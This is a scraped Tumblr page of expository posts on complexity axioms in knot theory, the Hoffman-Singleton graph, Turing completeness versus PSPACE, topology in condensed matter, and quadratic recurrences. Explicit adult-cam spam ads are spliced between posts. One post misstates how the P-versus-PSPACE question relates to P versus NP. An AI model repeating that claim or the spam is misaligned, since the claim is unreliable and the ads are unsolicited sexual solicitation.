Oh Hai There @ohaithe-re - Tumblr Blog

Complexity of calculating, complexity of things

To follow up on this post: we had a complexity axiom that told us something about topology, apparently. I would like to elaborate on this and explain what it's "really" (in my opinion) doing. The topological statement is also, inherently, a complexity question. It's just that, instead of being couched in the usual langauge of minimum complexity of a Turing machine calculating something, it's a statement about the minimum complexity writing down a description of some knot. This is more natural than you might think!

Morally, it's very analogous to the "theorem" that the Hajos number of a graph can be exponentially big (under the complexity "axiom" that coNP != NP). The Hajos number is one way of measuring how hard to build a graph from simpler graphs. You start with complete graphs K_n. Of the steps you're allowed to use, none of them can ever decrease the chromatic number of the graph. It's also been shown you can always build a graph in this way where the chromatic number never changes. That is, the Hajos number sort of asks: how many steps do you need to build this graph, in a way where each step leaves the chromatic number unchanged?

So, if you have a graph that is "simple" by measure of the Hajos number (at most polynomially long), then it means that there's a short proof (a polynomial length sequence of steps to construct it) that it has a certain chromatic number k. This means there is no coloring of k, which is coNP-hard. So you would have a NP way to check coNP questions.

Generally you could imagine other versions of this... like, #3COL is the counting problem that asks how many 3-colorings there are of a graph. This is #P-hard, so if P^{#P} != NP, then this shouldn't be in NP. If I gave you a set of allowed "moves" to do on a graph that always change #3COL in simple ways (e.g. "I'm going to add a degree-one edge, which doubles the number" or "This graph has two distinct components, so I can reduce to counting on each component separately and then multiply"). Then I define the complexity of a graph com(G) as the number of steps it takes to reduce it to the empty graph. P^{#P} != NP would imply that com(G) must grow superpolynomially in the size of G.

I could generalize that somewhat. Instead of reducing to just trivial graphs, I could say, I want to reduce to graphs of small treewidth. This is 'enough' because on graphs of small treewidth, #3COL is easy to compute. Maybe the steps I'm allowed to use won't reduce treewidth, but I'm just sort of asking: can I take a graph and somehow canonicalize it to a graph of small twin-width that has the same number of colorings?

So if I start a graph G and can reach a graph H by applying these moves, then I say that G and H are "equivalent" within this space of moves. The distance(G,H) is how many moves you need to do this. I would be able to solve #3COL quickly on G if I can reduce it to H with only polynomially many moves, and then H has small treewidth. So then the theorem would be,

if there is a constant k such that (for all G, there is an equivalent H, with polynomial distance(G,H), and treewidth(H) <= k), then P^{#P} = NP.

so by flipping that around,

P^{#P} != NP --> for any k, there is some G, for which all equivalent H, either have treewidth(H) > k, or a superpolynomial distance(G,H).

This paper from Freedman is looking at a particularly nice, maybe natural example of this. Here instead of #3COL of a graph, the hard thing to calculate is the Jones polynomial of a knot. The allowed "steps" to change the knot are the standard Reidemeister moves together with Dehn surgery. Instead of talking about graphs of small treewidth, the measure of "complicated" knots is the girth of their plane diagram. The theorem there is

P^{#P} != NP --> for any b and b', there is some D, for which all equivalent D', either have girth(D') > b*log(size(D)) + b', or a superpolynomial distance(G,H).

#math #complexity-theory #coloring #it's funny because it's a tumblr tag so it's “hashtag-coloring” but also we're talking about the counting version of the 3-coloring problem

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality✓ Free Actions

Free to watch • No registration required • HD streaming

Can I offer you an axiom, in this trying time?

This paper by Michael Freedman is very short, 6-and-a-half page paper, and absolutely wild. I'll have one post explaining what it's about, and then another interpreting it and relate it to other questions.

He asks, what consequences might complexity theoretic assumptions -- like P != NP -- have for the rest of the math? Should we maybe want to take them as axioms? Here, by way of example, let's prove a nice little theorem in 3-dimensional topology using a standard complexity theory assumption: that P^{#P} != NP. (This is a much weaker assumption than P != NP and extremely likely to be true.) He seems to have no way of proving this without the assumption. That's page 1, the introduction. Then pages 2, 3, 4 give a little bit of knot theory background. I had to look up what Dehn surgery is but nothing too crazy. Page 5 is a brief overview of the relevant complexity theory.

Page 6 contains the proof of the theorem, and starts right into, "Our connection between links L and complexity is the Jones polynomial which we write as J_L(q). Evaluations of J_L at roots of unity e2iπ r are known to be computed as the partition function ZSU(2),k(S_3, L) of the topological quantum field theory (TQFT) associated with the Lie group SU(2) at level k = r - 2." and so on.

And then Freedman proves this topological statement using the fact that if these knots had small girth, you could get small certificates for equivalent knots in terms of their girth -- NP certificates -- which would let you compute partition functions of certain difficult topological quantum field theories quickly, even though that's a #P-hard problem. And thus he uses this complexity assumption to prove a topological fact: that these knots must have high girth.

Given the large jumps between fields -- quantum mechanics, topology, and complexity theory -- this might seem like a crazy one-off thing. But surely this is part of something more? That's for the next post. The second half is here!

#math #mathematics #knot-theory

5, 6, 7, 8

I love small combinatorial structures. Here I'd like to save a few, for my own future reference, I suppose.

The Hoffman-Singleton graph has several nice constructions. Depending on your point of view, it is a graph that is "5-ish", or "6-ish", or 7 or 8. What do I mean by that? Well, the 11-vertex cycle graph is undeniably the number 11. The 8 vertex cube graph probably most screams "2" or "4", but it could also be "6" if you count the 6 faces. Formally, these are small numbers that divide the order of the automorphism group of the graph. When you divide the order of the automorphism group of an object, there's probably an aesthetically pleasing construction of the object that makes that symmetry manifest. The Hoffman-Singleton graph has a staggering 252,000 automorphisms, or 32x9x125x7, so it many nice constructions that look nothing like one another.

This graph is a regular graph, with 50 vertices all of degree 7. That already says something: the number of vertices is divisible by 2 and 5, but the degree gives us 7. Let's go deeper.

That Wikipedia page mentions how it can be built from structures of size 5 (pentagons, pentagrams, and arithmetic mod 5). There's a more elegant description of the Z5 math here. That's the "5", and shows how to divide the 50 into 2x5x5, with many pentagons and pentagrams.

There's the "6", which is based on 1-factorizations of K6. This can be found a few different places, but the main idea is that if you want to build a degree-7 Moore graph, you can take one edge, remove it and its neighbors, and you'll be left with a 6x6 grid to connect in a certain way. This when completed should give you a Sylvester graph. How do you wire that 6x6 graph?

Take a K6 (6 points, all connected to each other). If you try to make a 1-factorization (a way of dividing the edges into 5 disjoint groups, in other words, a perfect 5-coloring), you'll see there's 6 ways. Label the 36 points in your 6x6 grid by (P,F), where P is a point and F is a 1-factorization. Connect (P1,F1) in to (P2,F2) iff P1 and P2 belong to the same 1-factor in both F1 and F2. It turns out this has many nice properties: for any given (P1,P2,F1), there's exactly one F2 that works, and likewise for fixing any other 3. In other words, each 1-factor occurs in exactly two 1-factorizations.

That's the "6". There's more on that here, and the relation to the Generalized Quadrangle here and here.

The Hoffman-Singleton graph can also be constructed from the Fano plane, a specific configuration of 7 points also knowns as "PG(2,2)" or "that horcrux thingy". More specifically, these 7 points get assembled in different ways into PG(3,2). That is also explained on the Wikipedia page on the Hoffman-Singleton graph, and the 7 points of the Fano plane give the degree 7 of the graph. That's the "7".

Now we return one more time to the Sylvester graph. As explained here again, the Sylvester graph arises from the Ternary Golay Code, a specific set of linear equations that can be used to encode 6 ternary symbols into 11 symbols with optimal redundancy. It turns out that the ternary Golay code and the Binary Golay Code, which lets you encode 12 bits in 24, are essentially the only two nontrivial optimal encodings in this form. Where do these two codes come from?

From a miracle! The "Miracle Octad Generator" lets you describe the binary Golay code using octads of 8 elements, and in turn gives rise to beautiful things such as the Leech Lattice. But there's also the ''MiniMOG'', which really should be the "MHG", because it uses hexads instead of octads. You can read about the minimog here or this Google cache. This poster is actually just fantastic. I guess this is really a six then, not an eight, but the MOG (the "8" in this blog post) is great and should be appreciated. My understanding is that there are more connections between the MiniMOG and MOG; for instance, they give constructions of the very special Mathieu groups M11 and M12, or M23 and M24, respectively; and M11 and M12 (from MiniMOG) can be found in M23 and M24 (from MOG). So there are surely some nice ways to see the MOG on 8 elements giving M23, and then M11, and then the ternary Golay code, and then the Sylvester graph, and then the Hoffman-Singleton graph.

#math #graph theory #geometry

I don't have gills

This is a PSA that I, Timeroot, am a gill-free human. I cannot survive underwater for more than a few minutes.

There's plenty of discussion of GPT already online, and I don't want to crowd that discussion. But there's one viewpoint that I am frustrated by seeing. Today I read the following, from someone whom I generally think of as respected and intelligent:

Which shows that "ChatGPT knows" means that it just reproduces what it has "read" without understanding anything, or even being able to "use" this "knowledge" otherwise than by making new phrases from it.

This is in reference to ChatGPT not having an encyclopedic knowledge of the OEIS. The OEIS is, for those unfamiliar, the Online Encyclopedia of Integer Sequences. It contains all manner of lists of integers, from the simple to the very specific. There are over 350,000 sequences at the time of writing. When someone asked ChatGPT for information on which sequence contained a certain pair of numbers, ChatGPT gave a best guess; it was very wrong.

What does this tell us? ChatGPT currently does not have the OEIS memorized. Does that imply that ChatGPT doesn't understand anything it reads? Certainly not.

Humans are also trained on a series of visual stimuli, without ever "understanding" what they're seeing. It wasn't until a few hundred years ago that people realized that the mold they saw was alive; it wasn't until a hundred years ago that people realized that the light see is actually electromagnetism. People are regularly fooled by optical illusions -- there are pictures you can print out on a piece of flat paper, and many humans will happily point out which are "higher" or "lower" than others! If you paint the illusion on the ground, people will express hormonal fear responses of falling "off the edge" of the illusion!

An animal like a bat, with echolocation, would not be fooled. They might look at humans and conclude that we just look and respond based on what we have "seen", without ever "understanding" what we see.

I consider myself to have understanding of what I see. For the same reason, I consider GPT to have understanding what it reads. Does it make embarrassing or silly mistakes? Yes, because GPT is trained in a very different environment than my brain is. We both make silly mistakes. They are very different mistakes.

Someone said that if you judge a fish by its ability to climb a tree, it will live its whole life believing it is stupid. (This is commonly attributed to Einstein; this is inaccurate.) Claiming that GPT cannot understand the world based on these tests is really asking it to climb a tree. I think that if we kept in mind the common human fumbles we make, we might be humbled into giving GPT a bit more credit. If GPT is the fish, then I'm a monkey who certainly cannot match it many regards. I can't even survive underwater: I ain't go no gills.

I want to write two posts, and they're about things that people call "Turing Complete" that aren't actually that. This happens for two reasons. The vast majority are for the first reason: you have a system that is "able to work like a computer", but only one with a fixed amount of memory, which is very different from a Turing machine.

The latter is about the few things that are "Turing Hard", that is, they can do anything a Turing machine can do; but they're not computable themselves. This is pretty rare because we don't often encounter noncomputable things in our lives. That will be for a later post.

Okay, what does "Turing Complete" mean?

A Turing machine can be defined by the following model (informal and unconventional, but accurate):

A storage device that can hold an arbitrary amount of binary data (bits). We can call this the hard drive.

A CPU:

It holds some fixed amount of bits in its memory. Let's call this the RAM. The amount of RAM is fixed (say, 100 bits) but could vary from machine to machine.

It can add/subtract/multiply numbers.

It can read and write to any location on the hard drive. How do you refer to potentially arbitrarliy large addresses in memory? Well, the hard drive is organized into folders: each folder has a "0.txt" and a "1.txt" and a folder called "0" and a folder called "1". The CPU can move up or down the layers of folders by issuing the right command, or it can read one of the two files in a folder (and each file contains one bit of data).

The CPU is 'hardwired' to do a particular pattern. Based on its 100 bits of RAM, it modifies those bits of RAM, and issues "READ", "WRITE" and "CHANGE FOLDER" commands to the hard drive.

The conventional idea of Turing machine has an infinite tape and a head, and while it one of the most useful ways of then doing theoretical analysis of the machine, it doesn't translate very well to how people "feel" about computers these days.

In the version of Turing machine I give above, when I say I have "a Turing machine", what I mean is that you tell me how many bits of RAM it has (say, 100), and then you give me a giant table that tells you, "given this arrangement of the 100 bits of RAM, output this, input this, and set your 100 bits of RAM to this new set."

And so if something else (say, a video game) is "Turing-complete", that means that if I give you the table of some Turing machine, then you can give me an instance of that thing (say, a video game save file; a map) that behaves like that Turing machine.

What "behaves like" means precisely depends a bit on the context of what the "thing" is. Often a Turing machine will be defined to have an additional "accept"/"reject" state, saying that it succeeded or that it failed. In the context of a video game, this could be the game ending or a character dying, or one of two different items being deposited into my inventory.

I need an example!

Fair. Well, most programming languages are Turing complete (but see below). In Java, for instance, I could define something like:

class Folder{ boolean txt0, txt1; private Folder fold0, fold1, parent; //Yada yada, get and set //and make new subfolders as needed } class CPU { final boolean[] RAM = new boolean[100]; Folder currentFolder f = new Folder(); void step() { //your code goes here } public static void main(String[] args){ CPU cpu = new CPU(); //We might need to fill in the hard drive //with some input data here while(true) { cpu.step(); } } }

So if you give me some Turing machine, I can fill in the step() function and give you an equivalent Java program. You can do the same in Python, or Perl, or bash, or Ruby, or JavaScript, or ... you get the idea.

That's boring, that's just programming

Also fair. How about Factorio, a game where you build a factory? There's no "folders" or "bits" here in any obvious way. But you can make a factory that continuously builds itself bigger and bigger, as in that first link. And you can make a computer that accesses memory and modifies it according to hardwired rules. So, you give me a Turing machine's table, and I'll build you a Factorio map. Then as the game runs, the CPU does its "steps", maybe accessing some bit of the hard drive. If that folder hasn't been built yet, the CPU will have to wait. But eventually that bit will be built, and execution will continue. And when your program finishes, it will have computed the same answer that the original Turing machine would.

Another good example is Conway's Game of Life, in which cells switch between "alive" and "dead" depending on their neighbors. There are self-growing patterns of cells, and ways for cells to act as circuits. See a pattern? So these are both Turing complete.

Okay, so what are you whining about?

People love to say that things are Turing complete: * Here's a very popular video about PowerPoint being Turing complete. * Here's a claim that Portal 2 is Turing complete. * Here's a claim that even CSS is Turing complete!

Wow, everything must be Turing complete, huh?

Well, no. Let's look at the PowerPoint example.

PowerPoint is Simple

PowerPoint is, for the purposes of this discussion:

A collection of shapes that (1) take up particular areas of the screen and are (2) enabled or disabled

A collection of animations that move a list of shapes to a particular location

A map saying that, when I click on one area, if it's enabled, that it (1) runs some animations and (2) enables/disables some other shapes.

So, if you give me a PowerPoint, could I analyze it to figure out everything it could ever do? Yes! Each shape has only a fixed list of locations it can be (its starting location, and each place mentioned in some animation). So I can look at every possible configuration of which shape is where, of which there is some fixed list, and figure out which configuration leads to which other. Or, which others, if the user has multiple choices.

If I have N shapes and K animations, I can "solve" PowerPoint in at most K^N steps. Given that Turing machines cannot be solved, this actually proves that it can't be Turing complete.

The most disappointing part is that the author acknowledges this -- see the section titled "Turing Completeness". His defense seems built around the idea that some programming languages aren't Turing complete. This is true, and has been discussed a few times. This doesn't mean that PowerPoint is Turing complete though, any more than the existence of bicycles means a tricycle is a kind of car. And as pointed out above, plenty of other programming languages are Turing complete. C is definitely the exception, not the rule!

Okay, but every computer is finite!

Yep! Yep, they are. We can never build a Turing machine in real life. We'll also never find every prime number. But the statement "there are only finitely many prime numbers" is still false. Turing completeness is a statement about an abstract model, and programming languages like Java and Python, and video games like Factorio and Conway's Game of Life also describe abstract models. Our silicon bricks will do their darndest to accurately implement that model, and eventually they will fail, but that doesn't mean the abstract model is changed somehow.

The Java specification doesn't say "ah, but if you hit 1 exabyte, quit"; the Java specification allows you to keep going, and barring exceptional behavior (like an OutOfMemoryError), the Java program above correctly models a Turing machine. C is unusual in that specification actually directly limits you to a certain memory size.

So what should I say, then?

When people say things are Turing complete, they usually end up being PSPACE-Complete. (In rare cases, they might only be P-Complete.) PSPACE aligns, roughly, with what can be computed on real world hardware, if you're very patient: if I want to run a program on a particular piece of input of size n, then I need memory proportional to nc for some constant c. If I have a traffic network of n cities and I need to keep track of the best route between each pair, then n2 is enough memory. I can still solve problems that might take a very long time to run, including checking each possible route through all the streets (which could take n! many operations, but not much memory).

PSPACE is broad enough to encompass lots of very hard problems, like breaking (just about any) encryption: assuming the password is not crazy long, a program can just try each password until it finds the one that works. If it always overwrites the last guess with the new guess, so it never needs much memory at any moment in time, even if it might be running for a very long time. PSPACE is actually powerful enough to do anything that a quantum computer can do, just maybe very slowly.

So why are some phenomena naturally PSPACE Complete?

Generally, yeah. A good way to think about PSPACE completeness is:

You give me a Turing machine, and you tell me that this machine will never need more than nc memory. You then want me to build you a machine (in a video game or whatever) that can run this machine for a certain size n. The machine will need to vary a bit with n, but that change should be according to a simple recipe.

The "simple recipe" part is about something called uniformity, and is really here so that I don't give you a gigantic ridiculous machine that has every possible answer to every possible problem already baked in or something. In practice this can pretty much always be turned into a description like,

You give me a Turing machine. I build you a "circuit" in the video game. Then you tell me how much memory, M, you need. I build you M identical memory units in the game, and hook it up the circuit. Now it can do what your Turing machine can do, as long as it doesn't need more than M memory in the hard drive.

So how does this show up? Earlier I linked to this Factorio post where he claimed that it showed Turing completeness. In fact, he only built a fixed-size circuit, with a fixed-size memory bank. Following his formula, if you give me a PSPACE program, I can build a Factorio circuit that runs that program, and takes up an amount of floor space for the memory proportional to the amount of memory your program needs. Similar arguments mean that Minecraft's redstone circuits, or real-world digital logic in silicon, are PSPACE complete.

P Complete

Some systems seem to "act like a digital circuit", but aren't even PSPACE complete. This happens if, intuitively, the circuit can't "loop back on itself". I just have logic gates going in, going to more logic gates, going to more logic gates, and eventually reaching the output. This class of complexity is only P Complete. (Side note: no one has actually proven P Complete and PSPACE Complete aren't actually the same thing! Although it very much seems this way. It's arguably one of the most important problems in complexity theory, and solving it would be a necesssary first baby step to proving that P does not equal NP.)

A simple example is gravity-fed water logic gates or even water computers. Water flows down a pipe, interacts in some way with another pipe to determine where more water gets routed, and eventually reaches some set of buckets at the bottom to show you the output. This is P complete: I can build any arbitrary circuit this way. But this kind of circuit has no notion of saving a variable and returning to it, no idea of "while loops" or addresses. This kind of feedforward setup will be P complete, even though it's still meaningfully a computer.

A trickier example is this popular demo which claims to show that CSS+HTML is Turing complete. Click the various squares and see how it changes. More people talk about it here. This is an HTML document with an element for each square on a grid. As you click on squares to set them green, some squares in the next row turn orange. If you do as you're told and click the orange squares, this pattern propagates down, and the computation result at the bottom. The rule for which cells turn green, opaquely known as rule 110, is Turing complete, when run on an infinite size grid for arbitrarily long time periods. This grid is, as you can see, only finitely wide and only finitely long. Like the water circuit, data only passes downwards, so the result is actually only P complete.

But wait! I can just build more stuff!

This is a common sticking point between PSPACE and P. For a PSPACE complete program, I'm allowed to build memory proportional to how much memory you need for your program to run. I can give my Redstone circuit enough memory to do what it has to, as long that isn't crazy (exponential). With the CSS example above, it might feel like I can just give you more cells as needed too, right? Just expand the HTML to account for it!

But if I did that, I would need huge amounts of HTML. I would need exponentially much HTML to be able to run PSPACE programs. And I would need uncomputably large amounts in order to run a Turing machine. It's really not Turing complete: remember, to be Turing complete, there shouldn't be any variation in the construction at all! The memory should be able to just grow as needed.

So what is Turing complete?

I'll probably compile a separate list. But here are some things that really truly are Turing complete: * Conway's Game of Life * Manufactoria (and its remake) * Programming languages like Brainf***, Java, Python, etc. * Repeated find-replace * The Excel LAMBDA function

and some things that act like computers, but are not Turing complete: * PowerPoint, because the shapes bound the memory. PSPACE complete. * Minecraft Redstone Circuits, because the circuit is a fixed size. PSPACE complete. * Note that when combined with pushers and appropriate mods, it may be possible to build a self-growing redstone computer, which would be Turing complete. AFAIK no one has done this. * The C programming language, because of fixed-size pointers. C is actually EXPSPACE complete when parameterized by the word size as written in unary. * That Portal 2 map, because of a non-growing circuit. Caveat: Some items in Portal 2 can create infinite mass, like cube dispensers, thus it's hard to definitely state the complexity of Portal 2. Also, depending on qualifies as "Portal 2", the scripting available in the Hammer mapping tool is quite flexible and might be powerful. * Excel spreadsheets themselves. This is only P complete, much like the CSS example earlier. * The type system in C++ or in Rust

This is ridiculous nitpicking and dumb

Sure. A computer is a computer, and building a computer in an environment is a cool achievement and usually also decently productive, as finding ways to build new computing fabrics is useful. Water-flow based computing is actually being used in consumer products. But Turing completeness is also a very strong and precise statement. If someone claims they build a computer in Minecraft, great! If they claim they showed that Minecraft is Turing complete, they should be ready to have their language scrutinized a bit.

This distinction has its own applications too. P complete systems are generally "safe" to have running, in the sense that they won't take up too much computing power. If Gmail offered some text-substitution rules for my email signature that were P complete, they don't need to worry about it eating up CPU power. If it was PSPACE complete, they should watch out and will need timeouts or recursion depth limits to stop people from DOSing it.

These distinctions also tell me something about what kind of computer someone has built. If you built something P complete, then you built a logic circuit. If you built something PSPACE complete, you built a real useful computer that can run programs. And if you have something Turing complete, then you have a monstrosity that will grow without bound and eat up all the resources in the universe, if left alone long enough. :)

#turing complete #computer science #programming #c++#rust #minecraft #portal 2 #powerpoint

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality✓ Free Actions

Free to watch • No registration required • HD streaming

Slide from my candidacy exam showing the complexity classes relevant to my paper. This is such a tiny-tiny fraction of the classes I could be talking about here -- there's also coRP, ZPP, BPP, EQP, QCMA_1, AM or GI. And then, some crazy questions like ... are any of these classes equal to L? Or maybe NP^coNP? Who knows.

#cs complexity np quantum

Why Topology Shows Up in Condensed Matter Physics

I recently felt like I understood "really why" topology shows up in condensed matter physics so much. Nothing is very insightful, and certainly not new, but I thought it would be worth writing down, because I think it is useful to see it all in one go.

Condensed matter physics concerns itself primarly with materials, in particular, lattices.

A lattice has two defining properties: it is translationally invariant and discrete.

When presented with a translationally invariant system, the reasonable thing is to Fourier transform it.

If the system is discrete, the Fourier transform exists on a compact space M. For example, for a 1D chain -- a system defined on the integers -- you only care about frequencies up to a multiple of 2 pi: sin(kx) = sin((k+2pi)x). So the independent modes are only defined up to 2pi, and M is a circle. A 2D square lattice gives us a torus instead, and a 3D lattice gives us a 3-torus.

Unless something really bizarre is happening, we should expect the system (its occupation numbers, its energies) to vary continuously with the Fourier coordinate k. That is, these are continuous functions on M.

Classifying continuous functions on a compact space is a topology problem.

To elaborate on point 6 a little bit: if the function in question is "energy of the lowest energy state", the values are real numbers, so we classify functions M -> R. Since R is simply connected, any energy function over M is homotopic to a constant function, which is not very interesting. But if the function is question is "spin orientation of the lowest energy state", then the values are unit vectors on the sphere, so we classify functions M -> S2. There are an infinite number of topologically distinct maps from the two-torus to S2 that are classified by degree, and thus from the three-torus as well. Thus, there are topologically distinct ways the system can be; we can call this a phase change, and there is an infinite number of topologically distinct phases.

How does the phase change then, if these are topologically separated? One of the assumptions has to change. For instance, if we are to assume that there is always some spin polarization at each k in M, then the space of spin polarizations is S2. But if the spin polarization is allowed to be the zero vector, then the space is expanded to R^3, and the system becomes topologically trivial.

One way this often happens is that a system has some number of bands -- call that number n -- and the energy varies with k. From the purely mathematical standpoint, this is saying, at each k in M we have a Hermitian n-by-n matrix H(k). Generically, H has all distinct eigenvalues, and one quantity to study is the [normalized] eigenvector with the lowest associated eigenvalue. This is a complex vector of size n, and we only care about it up to normalization: thus it lives most naturally in complex projective space. When n=2, this gives CP1, which is a sphere, and physicists like to call this eigenvector the polarization. When n=3, it's CP2, which is a bit weirder.

So you end up with a bunch of material science folks asking for the homotopy classes of maps from tori to complex projective space.

#physics #topology

Integer Homogeneous Quadratic Recurrences

A simpler start

A multivariate recursion is something of the form:

x_new, y_new, z_new := f(x,y,z), g(x,y,z), h(x,y,z)

and we iterate this, starting from some initial conditions. In general, we could have an arbitrary number of variables, and represent it as one vector v, and f as a function that takes a vector and returns a vector.

It's a linear recursion if f is linear, e.g.

x_new := 3x - 3.1y + 2

y_new := x + pi*y + 1/3

and it's an integer recursion if all those coefficients are integers (and the initial condition is as well). Perhaps the most natural question about recursions is their asymptotic growth. It's well known that for linear integer recursions, the possible growth rates are all algebraic numbers. For example,

x_new := 3x - 7

will asymptotically grow like 3^n (and -7 has no lasting effect), while

x_new := 2x + 4y + 6

y_new := 2x - 2y - 2z - 9

z_new := -7x + 6y + 6z + 2

will asymptotically grow like c^n, where

c = 2 + ∛(12 - 4 √5) + ∛(12 + 4 √5)

which can be found by finding the largest eigenvalue of the matrix [[2,4,0],[2,-2,-2],[-7,6,6]]. With more effort, we could actually write down a exact solution for any n, and find the constant factor -- so a * c^n. We would find that all relevant numbers are algebraic.

Surprising complexity

It turns out that as soon as we extend our study slightly beyond linear recurrences, the growth rates have a wild array of diversity. The next simplest version we could study are quadratic recurrences. For example,

x_new = 2 x^2 - 3x + 5

To show an example of the somewhat surprisng behavior, consider:

x_new = x * z + 1

y_new = y * z

z_new = z + 1

This is "quadratic" in the sense that it involves products of variables, but never the product of three. Start with the initial condition (x,y,z) = (1,1,1), at step n=1. Clearly z will just increase linearly: its solution is z=n. y will be the products of z, so y=(n-1)!. x is tricky to write down exactly, but look at the ratio x/y. Replacing x/y with (x*z)/(y*z) doesn't affect the ratio, of course, but the +1 on x means the ratio increases by 1/(y*z) = 1/( (n-1)! * n) = 1/n! each time. Thus,

x/y = 1 + 1/1! + 1/2! + 1/3! + 1/4! + ...

so that x/y approaches Euler's number e. A couple other recurrences to give taste:

x_new = x * z + w * y

y_new = y * z

w_new = -w

z_new = z + 1

from (x,y,w,z) = (0,1,1,1) has simple solutions for the last three coordinates: (y,w,z) = ((n-1)!, (-1)^n, n), but x approaches log(2) * (n-1)!. Another transcendental number! Then

x_new = x * z + 4 w * y

y_new = y * z

w_new = -w

z_new = z + 2

has x/y approach Pi, and -- if you're willing to compose several different tricks together -- we can make

a_new = a + 2*b b_new = a + b c_new = a*q d_new = b*r t_new = 4*x*d + y*d u_new = y*c q_new = 2*q*z + 4*s*r - 2*q r_new = 2*r*z - 2*r s_new = -s x_new = x*w + y y_new = y*w w_new = w + 2*z + 1 z_new = z+1

then the ratio t/u approaches the value

`exp(√8 * Pi) + 1` `------------------------ = coth(√2 π)` `exp(√8 * Pi) - 1`

(Figuring out why is a pretty doable game, but you may want a reference of series on hand, or Wolfram Alpha.) We can also make values that don't have any nice closed form at all.

(x,y,w,z)_new = (x*w+z, y*w, w+2*z+1, z+1)

from the initialization (0,1,1,1) approaches (x/y) = I_1(2), where I is a Bessel function; other combinations produce digammas, hypergeometric functions, and plenty of things we have no name for.

A slightly nicer setup

At this point, you've probably noticed that the interest here has been placed on the ratios of values. For this reason, we can move to a slightly nicer formulation of the problem: homogeneous coordinates.

This is where we identify together points whose values are in the same ratio, so (2,5,4) is considered the same point as (4,10,8). Accordingly, our recurrence relations must be "agnostic" to scaling of the coordinates, so all variables must be of the degree: a homogeneous polynomial. This means our polynomials must only have quadratic terms (x^2, y*z, etc) but no linear or constant terms. Then asking about the relative growth of the variables is simply asking what point in homogeneous space the recurrence approaches. (In fact, at least one limit point must exist, because homogeneous space is compact -- but we should probably also require that it's a unique limit!)

The recurrences in the previous section, for example, will approach the points (e,1,0), (log(2),1,0,0), (π,1,0,0), and (0,0,0,0,0,0,0,coth(√2 π),1,0,0,0,0).

Any inhomogeneous recursion can be made homogeneous by the addition of a "1" variable. For instance, the recursion we had for e can be rewritten:

(x,y,z)_new = (x*z+1, y*z, z+1)

into

(x,y,z,a)_new = (x*z+a^2, y*z, z*a+a^2, a^2)

and initial conditions (5,2,3) would be extended to (5,2,3,1).

This lets us do a few nice tricks as well, such as arbitrarily linear transformations on the coordinates without affecting the dynamics. Continuing the e example, we could transform (x,y,z,a) -> (3x-z+a, x+y, -x+2y+a, -8x+2y+z+a), to get equivalent dynamics

x_new = a^2 - 22 a x + 21 x^2 + 4 a y - 44 x y + 4 y^2 + 3 a z - 3 x z + 6 y z y_new = -a^2 + 23 a x - 22 x^2 - 3 a y + 45 x y - 2 y^2 - 3 a z + 3 x z - 6 y z z_new = 6 a^2 - 145 a x + 139 x^2 + 24 a y - 290 x y + 24 y^2 + 20 a z - 20 x z + 40 y z a_new = 5 a^2 - 93 a x + 137 x^2 + 18 a y - 184 x y + 16 y^2 + 12 a z - 26 x z + 24 y z + z^2

which, from the initial condtion (-2,3,-14,7), will approach (-2-e, 3+e, -14-7e, -8-3e). Because we are in homogeneous coordinates, we can also always multiply all of our polynomials through by an integer: this means we don't have to worry about rational but non-integer coordinates.

We can say, mathematically, that the coefficients of the polynomials form a three-index tensor. The first index is contravariant (the output variables), and the second and third indices are covariant (the input variables), and the tensor is symmetric in the second and third variables. If we have N variables, this is a tensor with N^2(N+1)/2 variables, of which we can fix N^2 through changing our basis.

Exploring the space

If you've been following along trying to understand why these recurrences give what I say they do, you've probably noticed that a lot of them derive from Taylor series. This fact has nothing to do with structure inherent in the recursions, and is only a result of me trying to offer recursions we can actually solve.

Let's say we can "generate" a number c if we there is a recursion for a point (c,1,...). Then we would like to find the set S of numbers we can generate. We already showed we can generate a variety of algebraic and trascendental numbers. S has many nice properties:

S contains all rational numbers.

S is closed under addition, subtraction, multiplication, and division. If we have (w,x) approaching (c,1) and (y,z) approaching (d,1), then:

(w*y, x*z) approaches c*d

(x,w) approaches 1/c

(w*z ± x*y, x*z) approaches c ± d

S contains any algebraic number that is larger than all of its conjugates. This is constructed by taking the minimal polynomial of that number, constructing the companion matrix of that polynomial, and building the corresponding linear system, so that that the algebraic number is the dominant eigenvalue.

We can extend this to any of the real roots of a polynomial: first translate the polynomial (by rewriting x -> x+p/q) until our desired root is closer to x=0 than any other root. Then take the reciprocal polynomial (rewrite x -> 1/x, and multiply through by x^n to get a polynomial again).

The algebraic number construction works as well if we take the coefficients of our polynomial to be other numbers in S. So we can construct the roots of x^2 - e*x - pi = 0. Thus S is its own real closure, a reals-only analog of algebraic closure. In particular, S is closed under roots.

Many of the interesting trascendental numbers arise through series we can construct. We say we can construct a series T(n) if we can generate the points (T(n),1,...) after n steps of evolution. The series we can construct is also closed under many properties:

Like S, the series are closed under addition, mutliplication, and division (but not roots, of course -- all T(n) are necessarily rational!)

We can construct T(n) = n, and as a result, all rational functions of n.

Given T(n), we can take construct partial sums Q(n) = sum[i=1 to n] of T(i) and products Q(n) = product[i=1 to n] of T(i).

With these three properties it's easy to prove that e and pi are in S:

T(n) = 1/n is constructible (rational function), so 1/n! is (partial products), so Sum[1/n!] is (partial sum), so e is constructible (limit).

-1 is constructible, so (-1)^n is (partial products); 4/(2n+1) is constructible (rational), so (-1)^n*4/(2n+1) is (product), so pi is constructible (partial sum, limit).

We can go further and even construct continued fractions:

If P(n) and Q(n) are constructible, then we can construct the value c with the continued fraction expansion

and the sequence T(n) of convergents are also constructible.

Using this, and the schema of Gauss's continued fraction, we can build many other tricky numbers. At rational arguments, we can evaluate:

The error function

Incomplete (and complete) gamma functions

Fresnel integrals

Lerch zeta function (which includes the Hurwitz and Riemann zeta functions, and the polylogarithm, as special cases)

Jacobi theta functions

Elliptic integrals

Arithmetic-geometric means

and the Euler-Mascheroni constant.

Territory yet to be claimed

